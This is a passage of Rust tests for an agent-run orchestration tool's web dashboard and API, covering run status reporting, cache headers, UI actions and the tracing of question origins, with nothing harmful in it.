26313        let view = fx.get(&format!("/api/runs/{a}")).await.json();
26314        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
26315        assert_eq!(
26316            view["latest_attempt"]["id"], c,
26317            "the chain's current head, not the intermediate Blocked retry"
26318        );
26319        assert_eq!(view["latest_attempt"]["resolved"], true);
26320
26321        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
26322        assert_eq!(mid["latest_attempt"]["id"], c);
26323        assert_eq!(mid["latest_attempt"]["resolved"], true);
26324    }
26325
26326    #[tokio::test]
26327    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
26328        let fx = Fixture::start().await;
26329        let q = fx.queue();
26330        let runs = fx.runs();
26331
26332        // Still Blocked: the task is not resolved, so the older run must not
26333        // read as settled either.
26334        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
26335        write_run(&runs, still_blocked_a, RunStatus::Blocked);
26336        write_run(&runs, still_blocked_b, RunStatus::Blocked);
26337        let mut t1 = Task::new(
26338            "still stuck".to_owned(),
26339            "do it".to_owned(),
26340            PathBuf::from("/repo"),
26341            Source::Human,
26342        );
26343        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
26344        q.put(&mut t1).expect("put");
26345        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
26346        assert_eq!(view1["latest_attempt"]["resolved"], false);
26347        assert_eq!(view1["latest_attempt"]["status"], "blocked");
26348        assert_eq!(view1["latest_attempt"]["done"], true);
26349
26350        // Still running: the successor exists and must be reported as such.
26351        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
26352        write_run(&runs, run_a, RunStatus::Blocked);
26353        write_run(&runs, run_b, RunStatus::Implementing);
26354        let mut t3 = Task::new(
26355            "retrying".to_owned(),
26356            "do it".to_owned(),
26357            PathBuf::from("/repo"),
26358            Source::Human,
26359        );
26360        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
26361        q.put(&mut t3).expect("put");
26362        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
26363        assert_eq!(view3["latest_attempt"]["id"], run_b);
26364        assert_eq!(view3["latest_attempt"]["resolved"], false);
26365        assert_eq!(view3["latest_attempt"]["done"], false);
26366
26367        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
26368        // to check - not a confirmed finish, so this must not read as
26369        // resolved either, even though the run is done in the sense that
26370        // nothing is still running.
26371        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
26372        write_run(&runs, noop_a, RunStatus::Blocked);
26373        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
26374        let mut t2 = Task::new(
26375            "claims done".to_owned(),
26376            "do it".to_owned(),
26377            PathBuf::from("/repo"),
26378            Source::Human,
26379        );
26380        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
26381        q.put(&mut t2).expect("put");
26382        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
26383        assert_eq!(
26384            view2["latest_attempt"]["resolved"], false,
26385            "an unverified no-op claim must not read as a confirmed finish"
26386        );
26387
26388        // Front end: an unresolved successor must not carry the "finished
26389        // this work" note or the muted chip treatment.
26390        assert!(APP_JS.contains("latest.resolved"));
26391        // ...but the link to it shows as soon as it exists, labelled by state
26392        // and without the "finished" wording or the muted chip.
26393        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
26394        assert!(APP_JS.contains("Latest attempt: "));
26395        assert!(APP_JS.contains("in flight"));
26396        assert!(APP_JS.contains("not resolved"));
26397    }
26398
26399    #[tokio::test]
26400    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
26401        let fx = Fixture::start().await;
26402        // No cache header at all meant browsers invented their own policy,
26403        // and one did: a phone went on showing "Candidates must be folded
26404        // before deleting. Run `magi fold` first." - deleted two releases
26405        // earlier - from a deck that no longer contained the sentence. The
26406        // button it named was right there, and unreachable.
26407        let js = fx.get("/app.js").await;
26408        assert_eq!(js.status, 200);
26409        let tag = js
26410            .header("etag")
26411            .expect("an etag to revalidate against")
26412            .to_owned();
26413        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
26414        assert_eq!(
26415            js.header("cache-control"),
26416            Some("no-cache, must-revalidate"),
26417            "the phone has to ask every time"
26418        );
26419
26420        // And the asking has to be cheap, or `must-revalidate` just means
26421        // "send the whole interface on every load".
26422        let again = fx
26423            .get_with("/app.js", &[("if-none-match", tag.as_str())])
26424            .await;
26425        assert_eq!(
26426            again.status, 304,
26427            "a deck it already has costs one round trip"
26428        );
26429        assert!(again.body.is_empty(), "304 carries no body");
26430
26431        // A weakened tag from a proxy still matches; a different build does
26432        // not, which is the case that has to deliver the new interface.
26433        let weak = fx
26434            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
26435            .await;
26436        assert_eq!(weak.status, 304);
26437        let stale = fx
26438            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
26439            .await;
26440        assert_eq!(stale.status, 200, "an older build must be replaced");
26441        assert!(stale.body.contains("renderRunActions"));
26442    }
26443
26444    #[test]
26445    fn the_task_detail_has_an_actions_fab_and_sheet() {
26446        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
26447        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
26448        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
26449        // Shown only on the task route, closed everywhere else.
26450        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
26451        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
26452        // Refreshed whenever the detail redraws, including the loading state.
26453        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
26454        assert!(APP_JS.contains("renderTaskActions(null);"));
26455        // Same action renderers as the Queue card. Bound this check by the
26456        // next function, since additional task controls can grow the sheet.
26457        let (_, sheet) = APP_JS
26458            .split_once("function renderTaskActions(task) {")
26459            .expect("sheet renderer");
26460        let (body, _) = sheet
26461            .split_once("\nfunction openTaskActions() {")
26462            .expect("end of sheet renderer");
26463        assert!(body.contains("changePriority("));
26464        assert!(body.contains("openTaskEdit(task)"));
26465        assert!(body.contains("renderTaskHoldBox(host"));
26466        assert!(body.contains("renderTaskDoneBox(host"));
26467        assert!(body.contains("renderTaskDeleteBox(host"));
26468        assert!(APP_JS.contains("API.priority(id)"));
26469        assert!(APP_JS.contains("API.deleteTask(id)"));
26470        // A deleted task sends the operator back to the queue.
26471        assert!(APP_JS.contains("location.hash = \"#/queue\""));
26472        // A refusal is shown inside the sheet.
26473        assert!(APP_JS.contains("$(\"task-actions-error\")"));
26474    }
26475
26476    #[test]
26477    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
26478        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
26479        let actions = INDEX_HTML
26480            .find("id=\"run-actions-box\"")
26481            .expect("actions box");
26482        assert!(task < actions, "the task entry comes first in the sheet");
26483        assert!(APP_JS.contains("renderRunTaskEntry"));
26484        assert!(APP_JS.contains("\"Open task \""));
26485        // A run without a task says why there is nothing to open.
26486        assert!(APP_JS.contains("started directly, no task"));
26487        assert!(APP_JS.contains("sheet-task-link"));
26488        assert!(APP_JS.contains("task-chip-link"));
26489    }
26490
26491    #[test]
26492    fn the_deck_never_sends_the_operator_to_a_terminal() {
26493        // The whole point of the phone UI is that a terminal is not needed.
26494        // The delete control used to answer with "Run `magi fold` first."
26495        assert!(
26496            !APP_JS.contains("Run `magi fold` first"),
26497            "the deck must offer the fold, not prescribe a shell command"
26498        );
26499        assert!(APP_JS.contains("foldRun:"));
26500        assert!(APP_JS.contains("resumeRun:"));
26501        assert!(APP_JS.contains("renderRunActions"));
26502
26503        // Folding is destructive and armed in two steps, like deleting.
26504        assert!(APP_JS.contains("armedFold"));
26505        assert!(APP_JS.contains("Yes, fold worktrees"));
26506
26507        // And the copy has to say that the two actions are opposites, because
26508        // folding throws away exactly what a resume would continue from.
26509        assert!(APP_JS.contains("can no longer be resumed"));
26510    }
26511
26512    #[test]
26513    fn a_finished_run_explains_itself_with_its_own_last_line() {
26514        // The deck used to answer "why did this stop?" with a sentence chosen
26515        // by status alone. Run e633 stalled because two judges answered with
26516        // the wrong JSON shape and its card said "The panel collapsed on
26517        // agent quota" - with `quota: []` in the record and a quota-loss
26518        // counter right above it that correctly said nothing.
26519        assert!(
26520            !APP_JS.contains("collapsed on agent quota"),
26521            "a stall must not be explained by a cause the deck did not check"
26522        );
26523        assert!(
26524            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
26525            "and a block must not offer a guess with an `or` in it"
26526        );
26527
26528        // The reason it does have is `run.event`, which must reach finished
26529        // runs: gating it on movement hid the recorded truth at the one moment
26530        // the operator is reading the card to find out what happened.
26531        assert!(
26532            APP_JS.contains("setText(r.event, run.event || \"\")"),
26533            "the run's last line is rendered unconditionally"
26534        );
26535        assert!(
26536            !APP_JS.contains("moving && run.event"),
26537            "and never gated on the run still moving"
26538        );
26539
26540        // Quota keeps its own counter, fed by the number actually recorded.
26541        assert!(APP_JS.contains("lost to quota"));
26542    }
26543
26544    /// The runs tree (section) and the state chips (waiting/done) are two
26545    /// independent lenses ANDed together in `renderRuns`, and some pairings
26546    /// can never both be true for any run - every "Landed"/"Ended" run is
26547    /// done by construction, so pairing either with "Active" or "In flight"
26548    /// always rendered zero cards with the filter bar still claiming
26549    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
26550    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
26551    /// a handful of (waiting, status) shapes standing in for the run
26552    /// lifecycle, because `cargo test` cannot execute the front end.
26553    ///
26554    /// That stand-in list is itself the part that drifted twice in review:
26555    /// once shipped with `waiting: true` paired with a done status the
26556    /// lifecycle cannot produce, then over-corrected into treating every
26557    /// waiting run as never done - which made "Waiting on you" look
26558    /// incompatible with "Done" even for the one real, reachable shape
26559    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
26560    /// that combination. This test parses the shapes and the done-rule back
26561    /// out of `APP_JS`, reimplements `runSection` and the five state
26562    /// predicates independently in Rust, and checks the resulting
26563    /// section/filter compatibility table against the lifecycle rules by
26564    /// hand - so either direction of drift fails it again.
26565    #[test]
26566    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
26567        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
26568        let shapes_body_start =
26569            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
26570        let shapes_close = APP_JS[shapes_body_start..]
26571            .find("].map(")
26572            .expect("the shape list is closed by its done-computing .map(...)")
26573            + shapes_body_start;
26574        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
26575
26576        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
26577        for entry in shapes_src.split('{').skip(1) {
26578            let waiting = entry.contains("waiting: true");
26579            let dead = entry.contains("live: \"dead\"");
26580            let status_at =
26581                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
26582            let status_end = entry[status_at..]
26583                .find('"')
26584                .expect("the status string is closed")
26585                + status_at;
26586            let parked = entry.contains("display_status: \"parked\"");
26587            shapes.push((
26588                waiting,
26589                entry[status_at..status_end].to_string(),
26590                dead,
26591                parked,
26592            ));
26593        }
26594        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
26595
26596        // The done rule itself (`!["implementing"].includes(shape.status)`),
26597        // read out of the source rather than hardcoded, so a renamed
26598        // in-flight status can't silently make every parsed shape "done".
26599        let done_rule_marker = "done: !";
26600        let done_rule_at = APP_JS[shapes_close..]
26601            .find(done_rule_marker)
26602            .expect("the done rule follows the shape list")
26603            + shapes_close
26604            + done_rule_marker.len();
26605        let includes_at = APP_JS[done_rule_at..]
26606            .find(".includes(shape.status)")
26607            .expect("the done rule ends in .includes(shape.status)")
26608            + done_rule_at;
26609        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
26610            .trim()
26611            .trim_start_matches('[')
26612            .trim_end_matches(']')
26613            .split(',')
26614            .map(|s| s.trim().trim_matches('"'))
26615            .filter(|s| !s.is_empty())
26616            .collect();
26617
26618        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
26619            .into_iter()
26620            .map(|(waiting, status, dead, parked)| {
26621                let done = !not_done.contains(&status.as_str());
26622                (waiting, status, dead, parked, done)
26623            })
26624            .collect();
26625
26626        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
26627        // outright, then merged/ready land, stalled/blocked/failed/
26628        // verified_noop end, and everything else is still in flight.
26629        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
26630            if waiting {
26631                return "waiting";
26632            }
26633            if dead
26634                && !parked
26635                && !matches!(
26636                    status,
26637                    "merged"
26638                        | "ready"
26639                        | "stalled"
26640                        | "blocked"
26641                        | "failed"
26642                        | "verified_noop"
26643                        | "superseded"
26644                        | "already_in_base"
26645                )
26646            {
26647                return "stale";
26648            }
26649            match status {
26650                "merged" | "ready" => "landed",
26651                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
26652                | "already_in_base" => "ended",
26653                _ => "flight",
26654            }
26655        }
26656
26657        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
26658        // way.
26659        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
26660            match filter_key {
26661                "active" => !done,
26662                "flight" => !done && !waiting && !dead,
26663                "stale" => !done && !waiting && dead,
26664                "waiting" => waiting,
26665                "done" => done,
26666                "all" => true,
26667                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
26668            }
26669        }
26670
26671        let compatible = |section: &str, filter_key: &str| {
26672            shapes.iter().any(|(waiting, status, dead, parked, done)| {
26673                run_section(*waiting, status, *dead, *parked) == section
26674                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
26675            })
26676        };
26677
26678        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
26679        // (active, flight, stale, waiting, done, all) - hand-derived from the
26680        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
26681        // currently contains.
26682        let expected = [
26683            ("waiting", [true, false, false, true, true, true]),
26684            ("stale", [true, false, true, false, false, true]),
26685            ("flight", [true, true, false, false, false, true]),
26686            ("landed", [false, false, false, false, true, true]),
26687            ("ended", [false, false, false, false, true, true]),
26688        ];
26689        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
26690
26691        for (section, wants) in expected {
26692            for (filter_key, want) in filter_keys.iter().zip(wants) {
26693                assert_eq!(
26694                    compatible(section, filter_key),
26695                    want,
26696                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
26697                );
26698            }
26699        }
26700
26701        // The compatibility check exists only to be acted on: both pickers
26702        // must actually consult it rather than just render its answer.
26703        assert!(
26704            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
26705        );
26706        assert!(APP_JS.contains(
26707            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
26708        ));
26709        assert!(APP_JS.contains(
26710            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
26711        ));
26712    }
26713
26714    #[tokio::test]
26715    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
26716        // An operator-named directory - git checkout or not - is never
26717        // second-guessed, even when it does not exist at all: only the
26718        // flag's own unmodified `.` default is ever eligible for discovery.
26719        let dir = tempfile::tempdir().expect("tempdir");
26720        let explicit = dir.path().join("not-a-checkout");
26721        std::fs::create_dir_all(&explicit).expect("create dir");
26722        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
26723
26724        let missing = dir.path().join("does-not-exist-at-all");
26725        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
26726    }
26727
26728    #[test]
26729    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
26730        assert!(APP_JS.contains("function statsDonutArcs"));
26731        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
26732        // A bucket click filters by the statuses src/stats.rs counts in it.
26733        assert!(APP_JS.contains("function statusInBucket"));
26734        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
26735        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
26736        let buckets = [
26737            "merged",
26738            "ready",
26739            "in_progress",
26740            "blocked",
26741            "failed",
26742            "verified_noop",
26743            "superseded",
26744            "stalled",
26745        ];
26746        for key in buckets {
26747            let var = format!("--verdict-{key}:");
26748            // Light, OS-dark and pinned-dark blocks each define it.
26749            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
26750            assert!(
26751                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
26752                "{key}"
26753            );
26754        }
26755    }
26756
26757    #[tokio::test]
26758    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
26759        let dir = tempfile::tempdir().expect("tempdir");
26760        let queue = Queue::at(dir.path().join("queue"));
26761        let talks = Talks::at(dir.path().join("talks"));
26762        std::fs::create_dir_all(queue.root()).unwrap();
26763        std::fs::create_dir_all(talks.root()).unwrap();
26764
26765        // Put a corrupt json file in both stores
26766        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
26767        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
26768
26769        // Valid task and talk
26770        let mut task = Task::new(
26771            "title".into(),
26772            "inst".into(),
26773            PathBuf::from("/repo"),
26774            Source::Human,
26775        );
26776        task.id = "20261019-123456-abcd".into();
26777        // Write manually so it's a valid file
26778        std::fs::write(
26779            queue.path_of(&task.id),
26780            serde_json::to_string(&task).unwrap(),
26781        )
26782        .unwrap();
26783
26784        let talk_id = "20261019-234567-cdef";
26785        seed_talk_at(&talks, talk_id, "open");
26786
26787        // Exact match should succeed without failing on the corrupt json file
26788        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
26789        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
26790
26791        // Prefix match should also succeed by scanning file names without deserializing corrupt file
26792        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
26793        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
26794    }
26795
26796    #[tokio::test]
26797    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
26798        let home = tempfile::tempdir().unwrap();
26799        let ui = delta_test_ui(home.path());
26800        // A full history traversal would fail even with no questions.
26801        std::fs::write(ui.queue.root(), "not a directory").unwrap();
26802        std::fs::write(ui.talks.root(), "not a directory").unwrap();
26803        assert!(
26804            questions_list(State(ui.clone()))
26805                .await
26806                .unwrap()
26807                .0
26808                .is_empty()
26809        );
26810        assert!(
26811            question_origins(State(ui.clone()))
26812                .await
26813                .unwrap()
26814                .0
26815                .is_empty()
26816        );
26817        let mut question = Question::new(
26818            "run-history".into(),
26819            "review".into(),
26820            "seat".into(),
26821            "Useful question".into(),
26822            "Useful detail".into(),
26823            vec![],
26824        );
26825        ui.questions.put(&mut question).unwrap();
26826        let core = questions_core(State(ui.clone())).await.unwrap().0;
26827        assert_eq!(core.len(), 1);
26828        assert_eq!(core[0].question.summary, "Useful question");
26829        assert!(!core[0].can_consult_chat);
26830        assert!(core[0].origin_chat.is_none());
26831        assert_eq!(core[0].record_revision, question_record_revision(&question));
26832        assert!(question_origins(State(ui.clone())).await.is_err());
26833        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26834    }
26835
26836    #[tokio::test]
26837    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26838        let home = tempfile::tempdir().unwrap();
26839        let ui = delta_test_ui(home.path());
26840        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26841        let mut parent = Task::new(
26842            "parent".into(),
26843            "body".into(),
26844            PathBuf::from("/repo"),
26845            Source::Agent {
26846                run: chat.clone(),
26847                node: crate::queue::CHAT_NODE.into(),
26848            },
26849        );
26850        parent.id = "parent-task".into();
26851        parent.runs = vec!["parent-run".into()];
26852        ui.queue.put(&mut parent).unwrap();
26853        let mut previous = parent;
26854        for generation in 1..=2 {
26855            let mut child = Task::new(
26856                "child".into(),
26857                "body".into(),
26858                PathBuf::from("/repo"),
26859                Source::Human,
26860            );
26861            child.id = format!("child-task-{generation}");
26862            child.runs = vec![format!("child-run-{generation}")];
26863            child.followup = Some(crate::queue::FollowUp {
26864                origin_task: Some(previous.id.clone()),
26865                run: previous.runs[0].clone(),
26866                pr: String::new(),
26867                findings: vec![],
26868                generation,
26869            });
26870            ui.queue.put(&mut child).unwrap();
26871            previous = child;
26872        }
26873        // A run may have the same spelling as another task's id; its owner
26874        // must not override a typed task reference.
26875        let mut collision = Task::new(
26876            "collision".into(),
26877            String::new(),
26878            PathBuf::from("/repo"),
26879            Source::Human,
26880        );
26881        collision.id = "collision-task".into();
26882        collision.runs = vec![previous.id.clone()];
26883        ui.queue.put(&mut collision).unwrap();
26884        let mut questions = Vec::new();
26885        for (node, reference, expected, eligible) in [
26886            (crate::triage::NODE, previous.id.as_str(), true, false),
26887            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
26888            ("review", previous.runs[0].as_str(), true, true),
26889            (
26890                crate::bump::NOTICE_NODE,
26891                previous.runs[0].as_str(),
26892                true,
26893                false,
26894            ),
26895            // Identical text in the wrong reference namespace is not evidence.
26896            ("review", previous.id.as_str(), false, false),
26897            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
26898            ("review", "unrelated", false, false),
26899        ] {
26900            let mut q = Question::new(
26901                reference.into(),
26902                node.into(),
26903                "seat".into(),
26904                "Question".into(),
26905                String::new(),
26906                vec![],
26907            );
26908            ui.questions.put(&mut q).unwrap();
26909            questions.push((q, expected, eligible));
26910        }
26911        for (node, reference, associated, eligible) in [
26912            (crate::reconcile::NODE, previous.id.as_str(), true, false),
26913            (
26914                crate::reconcile::NODE,
26915                previous.runs[0].as_str(),
26916                false,
26917                true,
26918            ),
26919            ("implement", previous.id.as_str(), false, false),
26920        ] {
26921            let mut q = Question::new(
26922                reference.into(),
26923                node.into(),
26924                crate::reconcile::SEAT.into(),
26925                "Reconcile".into(),
26926                String::new(),
26927                vec![],
26928            );
26929            ui.questions.put(&mut q).unwrap();
26930            questions.push((q, associated, eligible));
26931        }
26932        let mut release = Question::new(
26933            "release-record".into(),
26934            crate::bump::NOTICE_NODE.into(),
26935            "release-watch".into(),
26936            "Release".into(),
26937            String::new(),
26938            vec![],
26939        );
26940        ui.questions.put(&mut release).unwrap();
26941        let watch = crate::release_watch::WatchState {
26942            question: Some(release.id.clone()),
26943            run: Some(previous.runs[0].clone()),
26944            held_task: Some(previous.id.clone()),
26945            ..Default::default()
26946        };
26947        let watch_dir = home.path().join("release-watch");
26948        std::fs::create_dir_all(&watch_dir).unwrap();
26949        let watch_path = watch_dir.join("watch.json");
26950        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26951        // Ordinary questions and bump notices do not need watch-store I/O.
26952        for batch in [
26953            Vec::new(),
26954            questions.iter().map(|(q, _, _)| q.clone()).collect(),
26955        ] {
26956            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
26957            assert!(watches.is_empty());
26958        }
26959        questions.push((release.clone(), true, false));
26960
26961        let views = questions_list(State(ui.clone())).await.unwrap().0;
26962        let origins = question_origins(State(ui.clone())).await.unwrap().0;
26963        for (q, associated, eligible) in &questions {
26964            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
26965            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
26966            let expected = associated.then_some(chat.as_str());
26967            assert_eq!(
26968                view.origin_chat.as_deref(),
26969                expected,
26970                "{} {}",
26971                q.node,
26972                q.run
26973            );
26974            assert_eq!(origin.origin_chat.as_deref(), expected);
26975            assert_eq!(view.origin_chat_closed, *associated);
26976            assert_eq!(origin.origin_chat_closed, *associated);
26977            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
26978            assert_eq!(origin.can_consult_chat, *eligible);
26979        }
26980        // Either saved link independently recovers a release question's owner.
26981        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
26982            let link = crate::release_watch::WatchState {
26983                run,
26984                held_task,
26985                ..watch.clone()
26986            };
26987            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
26988            let (tasks, talks, watches) =
26989                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26990            assert_eq!(
26991                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26992                    .unwrap()
26993                    .id,
26994                chat,
26995            );
26996            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
26997        }
26998        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26999        // Even identical duplicate records are ambiguous: ignore their links.
27000        let duplicate_path = watch_dir.join("duplicate.json");
27001        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27002        let (tasks, talks, watches) =
27003            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27004        assert!(
27005            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27006                .is_none()
27007        );
27008        std::fs::remove_file(duplicate_path).unwrap();
27009        // Another explicit owner is a conflict even if it has no chat.
27010        let mut unrelated = Task::new(
27011            "other".into(),
27012            String::new(),
27013            PathBuf::from("/repo"),
27014            Source::Human,
27015        );
27016        unrelated.id = "unrelated-task".into();
27017        ui.queue.put(&mut unrelated).unwrap();
27018        let mut conflicting = watch.clone();
27019        conflicting.held_task = Some(unrelated.id);
27020        std::fs::write(
27021            watch_dir.join("conflict.json"),
27022            serde_json::to_vec(&conflicting).unwrap(),
27023        )
27024        .unwrap();
27025        let (tasks, talks, watches) =
27026            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27027        assert!(
27028            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27029                .is_none()
27030        );
27031        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
27032        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
27033        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
27034            assert!(origin.origin_chat.is_none());
27035            assert!(!origin.origin_chat_closed);
27036        }
27037    }
27038
27039    #[test]
27040    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
27041        let home = tempfile::tempdir().unwrap();
27042        let ui = delta_test_ui(home.path());
27043        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
27044        for i in 0..1000 {
27045            let mut task = Task::new(
27046                "unrelated".into(),
27047                "instruction ".repeat(256),
27048                PathBuf::from("/repo"),
27049                Source::Human,
27050            );
27051            task.id = format!("history-{i:04}");
27052            ui.queue.put(&mut task).unwrap();
27053            let id = seed_talk_at(&ui.talks, &task.id, "open");
27054            let mut talk = ui.talks.get(&id).unwrap();
27055            talk.pending = "history ".repeat(256);
27056            ui.talks.put(&mut talk).unwrap();
27057        }
27058        let mut parent = Task::new(
27059            "parent".into(),
27060            "body".into(),
27061            PathBuf::from("/repo"),
27062            Source::Agent {
27063                run: chat_id.clone(),
27064                node: crate::queue::CHAT_NODE.into(),
27065            },
27066        );
27067        parent.id = "task-parent".into();
27068        parent.runs = vec!["run-parent".into()];
27069        ui.queue.put(&mut parent).unwrap();
27070        let mut child = Task::new(
27071            "child".into(),
27072            "body".into(),
27073            PathBuf::from("/repo"),
27074            Source::Human,
27075        );
27076        child.id = "task-child".into();
27077        child.runs = vec!["run-child".into()];
27078        child.followup = Some(crate::queue::FollowUp {
27079            run: "run-parent".into(),
27080            origin_task: Some(parent.id.clone()),
27081            pr: "https://example.invalid/pr/1".into(),
27082            findings: vec![],
27083            generation: 1,
27084        });
27085        ui.queue.put(&mut child).unwrap();
27086        let mut question = Question::new(
27087            child.id.clone(),
27088            crate::conduct::NODE.into(),
27089            "seat".into(),
27090            "Continue?".into(),
27091            String::new(),
27092            vec![],
27093        );
27094        let (tasks, talks, _watches) =
27095            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27096        assert_eq!(tasks.len(), 2);
27097        assert_eq!(talks.len(), 1);
27098        assert_eq!(
27099            ui.monitor.queue_index.lock().unwrap().reparsed,
27100            0,
27101            "exact ancestry bypasses the index"
27102        );
27103        assert_eq!(
27104            crate::consult::origin_talk(&tasks, &talks, &question)
27105                .unwrap()
27106                .id,
27107            chat_id
27108        );
27109        question.run = "run-child".into();
27110        question.node = "review".into();
27111        for origin_task in [Some(parent.id.clone()), None] {
27112            child.followup.as_mut().unwrap().origin_task = origin_task;
27113            ui.queue.put(&mut child).unwrap();
27114            let (tasks, talks, _watches) =
27115                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27116            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
27117            let expected =
27118                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
27119                    .unwrap();
27120            assert_eq!(actual.id, expected.id);
27121            assert!(!actual.status.open());
27122            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27123            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27124            // Without Unix file identity, every readable record must be
27125            // reparsed to detect same-size, same-mtime replacements safely.
27126            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
27127            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27128        }
27129        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
27130        ui.queue.put(&mut child).unwrap();
27131        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
27132        let (tasks, talks, _watches) =
27133            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27134        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27135        child.origin_chat = Some(chat_id.clone());
